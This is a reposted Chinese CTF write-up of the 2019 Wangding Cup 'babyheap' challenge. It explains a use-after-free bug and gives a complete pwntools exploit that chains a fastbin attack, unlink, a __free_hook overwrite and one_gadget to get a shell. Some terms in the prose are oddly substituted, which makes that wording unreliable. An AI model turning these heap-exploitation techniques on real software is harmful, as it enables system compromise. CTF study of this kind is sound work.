12558网页游戏私服论坛

 找回密码
 立即注册
游戏开服表 申请开服
游戏名称 游戏描述 开服状态 游戏福利 运营商 游戏链接
攻城掠地-仿官 全新玩法,觉醒武将,觉醒技能 每周新区 经典复古版本,长久稳定 进入游戏
巅峰新版攻 攻城掠地公益服 攻城掠地SF 新兵种、新武将(兵种) 进入游戏
攻城掠地公 散人玩家的天堂 新开 进入游戏
改版攻城掠 上线即可国战PK 稳定新区 全新改版,功能强大 进入游戏
少年江山 高福利高爆率 刚开一秒 江湖水落潜蛟龙 进入游戏
太古封魔录 开服送10亿钻石 福利多多 不用充钱也可升级 进入游戏
神魔之道 签到送元宝 稳定开新区 送豪华签到奖励 进入游戏
神奇三国 统帅三军,招揽名将 免费玩新区 激情国战,征战四方 进入游戏
龙符 三日豪礼领到爽 天天开新区 助你征战无双 进入游戏
王者之师 免费领豪华奖励 免费玩新区 6元送6888元宝 进入游戏
三国霸业 战车-珍宝-觉醒-攻城掠地SF-全新玩法 免费玩新区 攻城掠地私服 进入游戏
手游私服盒子 各类免费游戏 0.1折送海量资源 各类手游私服 进入游戏
皇家MU2 《奇迹 2:传奇》韩国网禅公司《奇迹》正统续作。 3D锁视角Mmrpg 暗黑3+传奇+流放之路+奇迹 进入游戏
查看: 372|回复: 0

2019年 网鼎杯babyheap 题解(堆漏洞的综合利用)

[复制链接]

3782

主题

3782

帖子

214748万

积分

超级版主

Rank: 8Rank: 8

积分
2147483647
发表于 2020-7-23 03:19:15 | 显示全部楼层 |阅读模式
正在备战网鼎杯,做了一下去年第一场的pwn,babyheap这题
没有特别难,但是涉及到fastbin_attack  UAF  unlink的利用 综合性较强,比较磨练堆漏洞基础
调试环境:
vm 虚拟机 ubuntu16.04

gdb-peda(我习惯用peda pwndbg也可以)
IDA pro 7.0
python pwntools

babyheap.rar

由于是当地调试 所以就不给出libc了,我用的是ubuntu16.04自带的libc-2.23.so

检查下步伐的安全性(checksec easyheap)

下面解释一下安全机制

Arch:     amd64-64-little
    RELRO:    Full RELRO   #got表保护开启,没有got写权限
    Stack:    Canary found #canary保护开启(常用于防止栈溢出)
    NX:       NX enabled #堆栈不可执行保护开启(防止写入的shellcode执行)
    PIE:      No PIE (0x400000) # 地点随机化未开启 (代码段的地点随机化)
此中 got表写入保护开启,这一段说明。我们不能通太过配堆块 或者unlink写入等方法直接攻击got表(这也在一定程度上增大了难度)

ida分析(f5查看伪代码)

比较常见的菜单选择,先分析 alloc()


申请的堆块大小是固定的malloc(0x20) 限定了申请堆块的大小,申请到的堆块地点统一放到一个全局数组内里,地点为0x602060
看一下edit()

读取输入时限定了大小为0x20所以不存在堆溢出漏洞(不能直接恶意篡改相邻堆块的fd bk指针)
看一下show()

输出方式为puts(ptr<i>) 传入全局数组的指针
再看一下Free()

存在明显的UAF漏洞 ,free掉指针后并没有设置为NULL(free掉之后可以对堆块进行读写操纵,这也意味着可以在free掉之后读取fd bk指针 也可以伪造fastbin链)
由于本题涉及到大量关于堆数据结构,堆分配,堆合并等相关基础知识,这里给出几个ctf pwn heap 的学习资料链接,在解题时以做对照
https://wiki.x10sec.org/pwn/heap/heap_implementation_details/   ctfwiki

大致解题思路
1.利用uaf泄漏堆地点
alloc(0)#
alloc(1)#
free(1) # topchunk->1

free(0) #topchunk->0->1
此时,chun0k的fd指向chunk1的起始地点
show(0)打印出chunk1的地点
heap_base=chunk1_addr-0x30 #一个堆块大小为0x30



现在我们获取到了堆的基地点

2.伪造fastbin链修改堆块的size位,伪造一个unsorted bin ,free 后unsorted bin的fd会指向main_arena 再通过show()泄漏出libc基地点
(这一步实在就开始有点晕了,但是慢慢理解应该没问题,或许这就是pwn的魅力吧)
edit(0, p64(heap_base_addr + 0x20) + p64(0) + p64(0) + p64(0x31))# heap的 fd 指针指向heap+20 再次分配时会分配时会把chunk1的size位分配出
#pause()
alloc(6, p64(0) + p64(0xa1) + '\n')#chunk 0
#pause()
alloc(7, p64(0) + p64(0xa1) + '\n')#chunk 1
#pause()

free(1)


show(1)#leak_libc_addr
# addr-0x3cb20-88=addr-0x3c4b78
tips: main_arena计算方法
ida加载相应版本libc


3. unlink 修改全局数组ptr的指针,改为free hook
直接附上exp因为unlink 是从第一部开始铺垫的
from pwn import *
context.log_level=&quot;debug&quot;
p=process(&quot;./babyheap&quot;)
libc=(&quot;./libc-2.23.so&quot;)
onegadget=0x4526a
free_hook=0x3c67a8
malloc_hook=0x3c4b10
def alloc(index,content):
    p.recvuntil(&quot;Choice:&quot;)
    p.sendline(&quot;1&quot;)
    p.recvuntil(&quot;Index:&quot;)  
    p.sendline(str(index))
    p.recvuntil(&quot;Content:&quot;)
    p.send(str(content))

def edit(idx,content):
    p.recvuntil('Choice:')
    p.sendline('2')
    p.recvuntil(&quot;Index:&quot;)
    p.sendline(str(idx))
    p.recvuntil(&quot;Content:&quot;)
    p.send(str(content))
   
def free(idx):
    p.recvuntil('Choice:')
    p.sendline('4')
    p.recvuntil(&quot;Index:&quot;)
    p.sendline(str(idx))  
   
def show(idx):
    p.recvuntil('Choice:')
    p.sendline('3')
    p.recvuntil(&quot;Index:&quot;)
    p.sendline(str(idx))   

alloc(0,&quot;aaaaaaaa\n&quot;)#0x0
alloc(1,&quot;bbbbbbbb\n&quot;)#0x30
alloc(2,&quot;cccccccc\n&quot;)#0x60
alloc(3,&quot;dddddddd\n&quot;)#0x90
#alloc(4,&quot;eeeeeeee\n&quot;)#
#alloc(5,&quot;ffffffff\n&quot;)
                #P=0x602080           #FD =0x602068          #BK=0x602070
alloc(4, p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))#0xc0 #0xd0 from 0xd0 must be a fake chunk
# *(0x602080)=0x602070 fd->bk=BK   *(0x602080)=0x602068  bk->fd=FD
#target_addr=0x602080 its value has been changed twice 1:fd->bk=BK 2:bk->fd=FD
#check: BK->fd==P && FD->bk==P
#       0x602070+0x10=P 0x602068+0x18=P check pass
alloc(5, p64(0x30) + p64(0x30) + '\n')#0xf0 0x100 must be a fake chunk
#pause()
free(1)#top_chunk ->1
free(0)#top_chunk ->0->1
#chunk0_fd->chunk1
#pause()
show(0)# leak heap_addr(chunk1_addr)
heap_addr=u32(p.recv(4))
heap_base_addr=heap_addr-0x30
print hex(heap_base_addr)
#pause()
edit(0, p64(heap_base_addr + 0x20) + p64(0) + p64(0) + p64(0x31))
#pause()
alloc(6, p64(0) + p64(0xa1) + '\n')#chunk 0
#pause()
alloc(7, p64(0) + p64(0xa1) + '\n')#chunk 1
#pause()
free(1)
show(1)#leak_libc_addr
# addr-0x3cb20-88=addr-0x3c4b78
libc_base = u64(p.recvline()[ : -1].ljust(8, '\x00'))-0x3c4b78
print hex(libc_base)
pause()
edit(4,p64(libc_base + 0x3c67a8) + '\n')#free_hook
#pause()

#堆块1的指针指向free_hook
#下一步直接修改free_hook地点为one_gadget即可

edit(1, p64(libc_base + onegadget)[:-1] + '\n')#
free(1)
p.interactive()


大功告成,这个题还是挺复杂的。

感觉堆的基础知识还是不够得去补一补



来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
楼主热帖
回复

使用道具 举报

*滑块验证:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|12558网页游戏私服论坛 |网站地图

GMT+8, 2024-11-25 06:58 , Processed in 0.078125 second(s), 31 queries .

Powered by Discuz! X3.4

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表